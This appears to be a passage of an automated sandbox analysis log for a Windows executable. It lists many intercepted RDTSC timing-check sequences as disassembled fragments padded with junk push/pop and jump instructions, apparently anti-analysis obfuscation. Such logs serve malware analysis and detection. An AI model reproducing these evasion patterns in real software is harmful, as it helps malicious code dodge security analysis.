Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218640 second address: 1218644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218644 second address: 121864E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF275345486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121864E second address: 1218666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FF274F0FD42h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A865A second address: 11A866E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF275345486h 0x0000000a jnp 00007FF275345486h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A866E second address: 11A8673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8673 second address: 11A8698 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF275345491h 0x00000008 jnc 00007FF275345486h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FF275345486h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12173D2 second address: 12173F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD48h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12173F5 second address: 12173FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12173FA second address: 121741B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FF274F0FD36h 0x0000000b popad 0x0000000c push ecx 0x0000000d jp 00007FF274F0FD36h 0x00000013 jng 00007FF274F0FD36h 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121741B second address: 121741F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121795D second address: 1217961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217961 second address: 1217969 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217969 second address: 121796F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121796F second address: 1217979 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF275345486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217AFE second address: 1217B1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD47h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217B1F second address: 1217B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217B25 second address: 1217B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217B29 second address: 1217B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217F51 second address: 1217F67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218393 second address: 1218397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CB66 second address: 119CB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E099E second address: 11E09A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E09A5 second address: 11E0A1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF274F0FD3Fh 0x00000008 jmp 00007FF274F0FD3Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push ebx 0x00000014 sub ecx, dword ptr [ebp+122D1F7Ch] 0x0000001a pop edi 0x0000001b lea eax, dword ptr [ebp+1249569Ah] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FF274F0FD38h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b and edi, 79F359A8h 0x00000041 mov edx, ecx 0x00000043 nop 0x00000044 push eax 0x00000045 push edx 0x00000046 jo 00007FF274F0FD46h 0x0000004c jmp 00007FF274F0FD40h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0A1A second address: 11E0A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345490h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF275345497h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0A4A second address: 11E0A50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0A50 second address: 11E0A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF275345497h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0A6B second address: 11C94D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call dword ptr [ebp+122D3810h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FF274F0FD3Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1191 second address: 11E11C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b js 00007FF275345486h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF275345493h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E11C5 second address: 11E11C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E11C9 second address: 11E11CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E148E second address: 11E1492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1C20 second address: 11E1C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1C24 second address: 11E1C2A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1C2A second address: 11E1C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1D9B second address: 11CA064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jp 00007FF274F0FD36h 0x00000015 popad 0x00000016 pop ecx 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FF274F0FD38h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 add dh, FFFFFF85h 0x00000035 mov dword ptr [ebp+122D2E80h], ecx 0x0000003b call dword ptr [ebp+12462A1Fh] 0x00000041 push ebx 0x00000042 pushad 0x00000043 jo 00007FF274F0FD36h 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b popad 0x0000004c jnl 00007FF274F0FD3Ch 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CB25 second address: 121CB2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CB2A second address: 121CB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007FF274F0FD36h 0x0000000b jne 00007FF274F0FD36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007FF274F0FD3Eh 0x0000001c push eax 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push edx 0x00000020 pop edx 0x00000021 pop eax 0x00000022 ja 00007FF274F0FD42h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FF274F0FD3Fh 0x0000002f je 00007FF274F0FD36h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CCC2 second address: 121CCD1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF27534548Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CCD1 second address: 121CD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FF274F0FD40h 0x0000000f jmp 00007FF274F0FD44h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222BFB second address: 1222C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12216A3 second address: 12216A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12216A7 second address: 12216B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12216B7 second address: 12216BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12216BB second address: 12216C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217E5 second address: 12217E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217E9 second address: 12217ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217ED second address: 122183D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD3Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF274F0FD47h 0x00000010 jmp 00007FF274F0FD3Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF274F0FD48h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122183D second address: 1221871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c jmp 00007FF275345498h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12219A0 second address: 12219A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221AE9 second address: 1221AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221AEF second address: 1221AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221AF3 second address: 1221AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF275345486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221AFF second address: 1221B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF274F0FD36h 0x0000000a jne 00007FF274F0FD36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221B0F second address: 1221B19 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF275345486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221B19 second address: 1221B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF274F0FD48h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221B3F second address: 1221B49 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221C87 second address: 1221CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FF274F0FD44h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221CA6 second address: 1221CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF275345492h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221F1B second address: 1221F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222070 second address: 1222076 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222076 second address: 122209B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF274F0FD3Ch 0x00000008 pop ebx 0x00000009 jmp 00007FF274F0FD3Fh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12224B9 second address: 12224D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF275345486h 0x00000008 jc 00007FF275345486h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FF27534548Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222605 second address: 122260B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122260B second address: 1222617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222617 second address: 122261B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122261B second address: 1222628 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222628 second address: 122263B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF274F0FD36h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122263B second address: 122263F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122263F second address: 122264F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122264F second address: 1222653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12213EC second address: 12213F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225D7F second address: 1225D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11945F5 second address: 119460B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119460B second address: 119461B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119461B second address: 1194621 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194621 second address: 119463A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF275345490h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227E72 second address: 1227E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227E78 second address: 1227E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF275345496h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227E92 second address: 1227E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227E96 second address: 1227EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB25 second address: 122AB35 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a js 00007FF274F0FD36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ADBE second address: 122ADD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF27534548Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ADD4 second address: 122AE01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF274F0FD3Eh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AE01 second address: 122AE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122EDA4 second address: 122EDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122EAA9 second address: 122EAC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF27534548Ch 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232B7A second address: 1232B86 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF274F0FD36h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232B86 second address: 1232B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF27534548Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232B99 second address: 1232BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FF274F0FD36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232CC5 second address: 1232CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232F93 second address: 1232FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007FF274F0FD36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12333C4 second address: 12333DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF27534548Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12333DE second address: 12333EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
